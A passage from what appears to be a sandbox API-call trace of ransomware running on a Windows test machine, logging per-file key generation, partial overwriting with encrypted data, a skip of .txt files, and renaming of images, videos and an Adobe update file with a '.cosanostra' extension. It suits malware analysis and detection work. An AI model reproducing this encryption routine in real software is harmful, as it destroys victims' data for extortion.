0xffffffff [0097.028] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abf0c0 | out: pbBuffer=0x2abf0c0) returned 1 [0097.028] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x2abf0b8*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x2abf0b8*=0x30) returned 1 [0097.028] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\." (normalized: "c:\\users\\all users\\microsoft\\."), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0097.031] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abf0b0 | out: pbBuffer=0x2abf0b0) returned 1 [0097.031] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x2abf0a8*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x2abf0a8*=0x30) returned 1 [0097.031] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Adobe\\ARM\\Reader_10.0.0\\AdbeRdrUpd10116_MUI.msp" (normalized: "c:\\users\\all users\\adobe\\arm\\reader_10.0.0\\adberdrupd10116_mui.msp"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c [0097.038] lstrlenW (lpString="\\\\?\\C:\\Users\\All Users\\Adobe\\ARM\\Reader_10.0.0\\AdbeRdrUpd10116_MUI.msp") returned 70 [0097.038] StrStrW (lpFirst="AdbeRdrUpd10116_MUI.msp", lpSrch=".txt") returned 0x0 [0097.095] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0097.096] WriteFile (in: hFile=0x15c, lpBuffer=0x3059f70*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x2abf06c, lpOverlapped=0x0 | out: lpBuffer=0x3059f70*, lpNumberOfBytesWritten=0x2abf06c*=0x2800, lpOverlapped=0x0) returned 1 [0097.096] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0097.096] WriteFile (in: hFile=0x15c, lpBuffer=0x2abf0ac*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2abf06c, lpOverlapped=0x0 | out: lpBuffer=0x2abf0ac*, lpNumberOfBytesWritten=0x2abf06c*=0x4, lpOverlapped=0x0) returned 1 [0097.096] WriteFile (in: hFile=0x15c, lpBuffer=0x27c8c0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x2abf06c, lpOverlapped=0x0 | out: lpBuffer=0x27c8c0*, lpNumberOfBytesWritten=0x2abf06c*=0x30, lpOverlapped=0x0) returned 1 [0097.096] CloseHandle (hObject=0x15c) returned 1 [0097.097] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Adobe\\ARM\\Reader_10.0.0\\AdbeRdrUpd10116_MUI.msp.cosanostra") returned 81 [0097.097] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\All Users\\Adobe\\ARM\\Reader_10.0.0\\AdbeRdrUpd10116_MUI.msp" (normalized: "c:\\users\\all users\\adobe\\arm\\reader_10.0.0\\adberdrupd10116_mui.msp"), lpNewFileName="\\\\?\\C:\\Users\\All Users\\Adobe\\ARM\\Reader_10.0.0\\AdbeRdrUpd10116_MUI.msp.cosanostra" (normalized: "c:\\users\\all users\\adobe\\arm\\reader_10.0.0\\adberdrupd10116_mui.msp.cosanostra")) returned 1 [0097.098] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abf0b0 | out: pbBuffer=0x2abf0b0) returned 1 [0097.098] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x2abf0a8*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x2abf0a8*=0x30) returned 1 [0097.098] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\y96x9XE9EcxFpV1MSNqT\\oIvq\\AMv8aeLEwvNeds4o.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\y96x9xe9ecxfpv1msnqt\\oivq\\amv8aelewvneds4o.swf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c [0097.153] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\y96x9XE9EcxFpV1MSNqT\\oIvq\\AMv8aeLEwvNeds4o.swf") returned 87 [0097.153] StrStrW (lpFirst="AMv8aeLEwvNeds4o.swf", lpSrch=".txt") returned 0x0 [0097.154] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0xffffe365, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0097.154] WriteFile (in: hFile=0x15c, lpBuffer=0x3059f70*, nNumberOfBytesToWrite=0x1c9b, lpNumberOfBytesWritten=0x2abf06c, lpOverlapped=0x0 | out: lpBuffer=0x3059f70*, lpNumberOfBytesWritten=0x2abf06c*=0x1c9b, lpOverlapped=0x0) returned 1 [0097.154] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0097.154] WriteFile (in: hFile=0x15c, lpBuffer=0x2abf0ac*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2abf06c, lpOverlapped=0x0 | out: lpBuffer=0x2abf0ac*, lpNumberOfBytesWritten=0x2abf06c*=0x4, lpOverlapped=0x0) returned 1 [0097.154] WriteFile (in: hFile=0x15c, lpBuffer=0x27c8c0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x2abf06c, lpOverlapped=0x0 | out: lpBuffer=0x27c8c0*, lpNumberOfBytesWritten=0x2abf06c*=0x30, lpOverlapped=0x0) returned 1 [0097.154] CloseHandle (hObject=0x15c) returned 1 [0097.154] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\y96x9XE9EcxFpV1MSNqT\\oIvq\\AMv8aeLEwvNeds4o.swf.cosanostra") returned 98 [0097.154] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\y96x9XE9EcxFpV1MSNqT\\oIvq\\AMv8aeLEwvNeds4o.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\y96x9xe9ecxfpv1msnqt\\oivq\\amv8aelewvneds4o.swf"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\y96x9XE9EcxFpV1MSNqT\\oIvq\\AMv8aeLEwvNeds4o.swf.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\y96x9xe9ecxfpv1msnqt\\oivq\\amv8aelewvneds4o.swf.cosanostra")) returned 1 [0097.155] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abf0a8 | out: pbBuffer=0x2abf0a8) returned 1 [0097.155] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x2abf0a0*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x2abf0a0*=0x30) returned 1 [0097.155] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\I6aN\\ExmElhT2gr0\\_U0BshhbHK8GDAc.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\i6an\\exmelht2gr0\\_u0bshhbhk8gdac.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c [0097.156] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\I6aN\\ExmElhT2gr0\\_U0BshhbHK8GDAc.gif") returned 79 [0097.156] StrStrW (lpFirst="_U0BshhbHK8GDAc.gif", lpSrch=".txt") returned 0x0 [0097.157] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0097.157] WriteFile (in: hFile=0x15c, lpBuffer=0x3059f70*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x2abf064, lpOverlapped=0x0 | out: lpBuffer=0x3059f70*, lpNumberOfBytesWritten=0x2abf064*=0x2800, lpOverlapped=0x0) returned 1 [0097.157] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0097.157] WriteFile (in: hFile=0x15c, lpBuffer=0x2abf0a4*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2abf064, lpOverlapped=0x0 | out: lpBuffer=0x2abf0a4*, lpNumberOfBytesWritten=0x2abf064*=0x4, lpOverlapped=0x0) returned 1 [0097.157] WriteFile (in: hFile=0x15c, lpBuffer=0x27c8c0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x2abf064, lpOverlapped=0x0 | out: lpBuffer=0x27c8c0*, lpNumberOfBytesWritten=0x2abf064*=0x30, lpOverlapped=0x0) returned 1 [0097.157] CloseHandle (hObject=0x15c) returned 1 [0097.525] wnsprintfW (in: pszDest=0x3023418, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\I6aN\\ExmElhT2gr0\\_U0BshhbHK8GDAc.gif.cosanostra") returned 90 [0097.525] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\I6aN\\ExmElhT2gr0\\_U0BshhbHK8GDAc.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\i6an\\exmelht2gr0\\_u0bshhbhk8gdac.gif"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\I6aN\\ExmElhT2gr0\\_U0BshhbHK8GDAc.gif.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\i6an\\exmelht2gr0\\_u0bshhbhk8gdac.gif.cosanostra")) returned 1 [0097.526] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abf0a8 | out: pbBuffer=0x2abf0a8) returned 1 [0097.527] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x2abf0a0*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x2abf0a0*=0x30) returned 1 [0097.527] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\I6aN\\Ci6pXpSFA50uKhmJhfwr\\yBhkIBSMMu6_Gb.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\i6an\\ci6pxpsfa50ukhmjhfwr\\ybhkibsmmu6_gb.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0097.527] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\I6aN\\Ci6pXpSFA50uKhmJhfwr\\yBhkIBSMMu6_Gb.jpg") returned 87 [0097.527] StrStrW (lpFirst="yBhkIBSMMu6_Gb.jpg", lpSrch=".txt") returned 0x0 [0097.528] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0097.528] WriteFile (in: hFile=0x138, lpBuffer=0x3061d88*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x2abf064, lpOverlapped=0x0 | out: lpBuffer=0x3061d88*, lpNumberOfBytesWritten=0x2abf064*=0x2800, lpOverlapped=0x0) returned 1 [0097.528] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0097.528] WriteFile (in: hFile=0x138, lpBuffer=0x2abf0a4*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2abf064, lpOverlapped=0x0 | out: lpBuffer=0x2abf0a4*, lpNumberOfBytesWritten=0x2abf064*=0x4, lpOverlapped=0x0) returned 1 [0097.528] WriteFile (in: hFile=0x138, lpBuffer=0x27c8c0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x2abf064, lpOverlapped=0x0 | out: lpBuffer=0x27c8c0*, lpNumberOfBytesWritten=0x2abf064*=0x30, lpOverlapped=0x0) returned 1 [0097.528] CloseHandle (hObject=0x138) returned 1 [0097.528] wnsprintfW (in: pszDest=0x3023418, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\I6aN\\Ci6pXpSFA50uKhmJhfwr\\yBhkIBSMMu6_Gb.jpg.cosanostra") returned 98 [0097.529] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\I6aN\\Ci6pXpSFA50uKhmJhfwr\\yBhkIBSMMu6_Gb.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\i6an\\ci6pxpsfa50ukhmjhfwr\\ybhkibsmmu6_gb.jpg"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\I6aN\\Ci6pXpSFA50uKhmJhfwr\\yBhkIBSMMu6_Gb.jpg.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\i6an\\ci6pxpsfa50ukhmjhfwr\\ybhkibsmmu6_gb.jpg.cosanostra")) returned 1 [0097.532] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abf0a0 | out: pbBuffer=0x2abf0a0) returned 1 [0097.532] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x2abf098*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x2abf098*=0x30) returned 1 [0097.532] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\I6aN\\Ci6pXpSFA50uKhmJhfwr\\VISfPDKos1.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\i6an\\ci6pxpsfa50ukhmjhfwr\\visfpdkos1.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0097.532] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\I6aN\\Ci6pXpSFA50uKhmJhfwr\\VISfPDKos1.gif") returned 83 [0097.532] StrStrW (lpFirst="VISfPDKos1.gif", lpSrch=".txt") returned 0x0 [0097.533] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xfffff868, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0097.533] WriteFile (in: hFile=0x138, lpBuffer=0x3061d88*, nNumberOfBytesToWrite=0x798, lpNumberOfBytesWritten=0x2abf05c, lpOverlapped=0x0 | out: lpBuffer=0x3061d88*, lpNumberOfBytesWritten=0x2abf05c*=0x798, lpOverlapped=0x0) returned 1 [0097.533] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0097.533] WriteFile (in: hFile=0x138, lpBuffer=0x2abf09c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2abf05c, lpOverlapped=0x0 | out: lpBuffer=0x2abf09c*, lpNumberOfBytesWritten=0x2abf05c*=0x4, lpOverlapped=0x0) returned 1 [0097.534] WriteFile (in: hFile=0x138, lpBuffer=0x27c8c0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x2abf05c, lpOverlapped=0x0 | out: lpBuffer=0x27c8c0*, lpNumberOfBytesWritten=0x2abf05c*=0x30, lpOverlapped=0x0) returned 1 [0097.534] CloseHandle (hObject=0x138) returned 1 [0097.534] wnsprintfW (in: pszDest=0x3023418, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\I6aN\\Ci6pXpSFA50uKhmJhfwr\\VISfPDKos1.gif.cosanostra") returned 94 [0097.534] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\I6aN\\Ci6pXpSFA50uKhmJhfwr\\VISfPDKos1.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\i6an\\ci6pxpsfa50ukhmjhfwr\\visfpdkos1.gif"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\I6aN\\Ci6pXpSFA50uKhmJhfwr\\VISfPDKos1.gif.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\i6an\\ci6pxpsfa50ukhmjhfwr\\visfpdkos1.gif.cosanostra")) returned 1 [0097.597] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abf0a0 | out: pbBuffer=0x2abf0a0) returned 1 [0097.597] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x2abf098*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x2abf098*=0x30) returned 1 [0097.598] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\5lJH\\XTNciRneCIT.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\5ljh\\xtncirnecit.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0097.598] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\5lJH\\XTNciRneCIT.bmp") returned 63 [0097.598] StrStrW (lpFirst="XTNciRneCIT.bmp", lpSrch=".txt") returned 0x0 [0097.599] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0097.599] WriteFile (in: hFile=0x138, lpBuffer=0x3061d88*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x2abf05c, lpOverlapped=0x0 | out: lpBuffer=0x3061d88*, lpNumberOfBytesWritten=0x2abf05c*=0x2800, lpOverlapped=0x0) returned 1 [0097.599] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0097.599] WriteFile (in: hFile=0x138, lpBuffer=0x2abf09c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2abf05c, lpOverlapped=0x0 | out: lpBuffer=0x2abf09c*, lpNumberOfBytesWritten=0x2abf05c*=0x4, lpOverlapped=0x0) returned 1 [0097.599] WriteFile (in: hFile=0x138, lpBuffer=0x27c8c0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x2abf05c, lpOverlapped=0x0 | out: lpBuffer=0x27c8c0*, lpNumberOfBytesWritten=0x2abf05c*=0x30, lpOverlapped=0x0) returned 1 [0097.599] CloseHandle (hObject=0x138) returned 1 [0097.600] wnsprintfW (in: pszDest=0x3023418, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\5lJH\\XTNciRneCIT.bmp.cosanostra") returned 74 [0097.600] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\5lJH\\XTNciRneCIT.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\5ljh\\xtncirnecit.bmp"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\5lJH\\XTNciRneCIT.bmp.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\5ljh\\xtncirnecit.bmp.cosanostra")) returned 1 [0097.600] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abf098 | out: pbBuffer=0x2abf098) returned 1 [0097.600] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x2abf090*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x2abf090*=0x30) returned 1 [0097.601] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\5lJH\\KcAGa.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\5ljh\\kcaga.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0097.601] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\5lJH\\KcAGa.jpg") returned 57 [0097.601] StrStrW (lpFirst="KcAGa.jpg", lpSrch=".txt") returned 0x0 [0097.602] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0097.602] WriteFile (in: hFile=0x138, lpBuffer=0x3061d88*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x2abf054, lpOverlapped=0x0 | out: lpBuffer=0x3061d88*, lpNumberOfBytesWritten=0x2abf054*=0x2800, lpOverlapped=0x0) returned 1 [0097.602] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0097.602] WriteFile (in: hFile=0x138, lpBuffer=0x2abf094*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2abf054, lpOverlapped=0x0 | out: lpBuffer=0x2abf094*, lpNumberOfBytesWritten=0x2abf054*=0x4, lpOverlapped=0x0) returned 1 [0097.602] WriteFile (in: hFile=0x138, lpBuffer=0x27c8c0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x2abf054, lpOverlapped=0x0 | out: lpBuffer=0x27c8c0*, lpNumberOfBytesWritten=0x2abf054*=0x30, lpOverlapped=0x0) returned 1 [0097.602] CloseHandle (hObject=0x138) returned 1 [0097.603] wnsprintfW (in: pszDest=0x3023418, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\5lJH\\KcAGa.jpg.cosanostra") returned 68 [0097.603] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\5lJH\\KcAGa.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\5ljh\\kcaga.jpg"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\5lJH\\KcAGa.jpg.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\5ljh\\kcaga.jpg.cosanostra")) returned 1 [0097.608] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abf098 | out: pbBuffer=0x2abf098) returned 1 [0097.608] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x2abf090*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x2abf090*=0x30) returned 1 [0097.608] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\5lJH\\ICK4a.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\5ljh\\ick4a.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0097.608] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\5lJH\\ICK4a.png") returned 57 [0097.608] StrStrW (lpFirst="ICK4a.png", lpSrch=".txt") returned 0x0 [0097.609] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0097.609] WriteFile (in: hFile=0x138, lpBuffer=0x3061d88*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x2abf054, lpOverlapped=0x0 | out: lpBuffer=0x3061d88*, lpNumberOfBytesWritten=0x2abf054*=0x2800, lpOverlapped=0x0) returned 1 [0097.610] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0097.610] WriteFile (in: hFile=0x138, lpBuffer=0x2abf094*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2abf054, lpOverlapped=0x0 | out: lpBuffer=0x2abf094*, lpNumberOfBytesWritten=0x2abf054*=0x4, lpOverlapped=0x0) returned 1 [0097.610] WriteFile (in: hFile=0x138, lpBuffer=0x27c8c0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x2abf054, lpOverlapped=0x0 | out: lpBuffer=0x27c8c0*, lpNumberOfBytesWritten=0x2abf054*=0x30, lpOverlapped=0x0) returned 1 [0097.610] CloseHandle (hObject=0x138) returned 1 [0097.610] wnsprintfW (in: pszDest=0x3023418, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\5lJH\\ICK4a.png.cosanostra") returned 68 [0097.610] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\5lJH\\ICK4a.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\5ljh\\ick4a.png"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\5lJH\\ICK4a.png.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\5ljh\\ick4a.png.cosanostra")) returned 1 [0097.620] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abf090 | out: pbBuffer=0x2abf090) returned 1 [0097.620] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x2abf088*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x2abf088*=0x30) returned 1 [0097.620] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\5lJH\\HpAC-z3OpW4Zh.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\5ljh\\hpac-z3opw4zh.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0097.620] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\5lJH\\HpAC-z3OpW4Zh.gif") returned 65 [0097.620] StrStrW (lpFirst="HpAC-z3OpW4Zh.gif", lpSrch=".txt") returned 0x0 [0097.621] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0097.621] WriteFile (in: hFile=0x138, lpBuffer=0x3061d88*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x2abf04c, lpOverlapped=0x0 | out: lpBuffer=0x3061d88*, lpNumberOfBytesWritten=0x2abf04c*=0x2800, 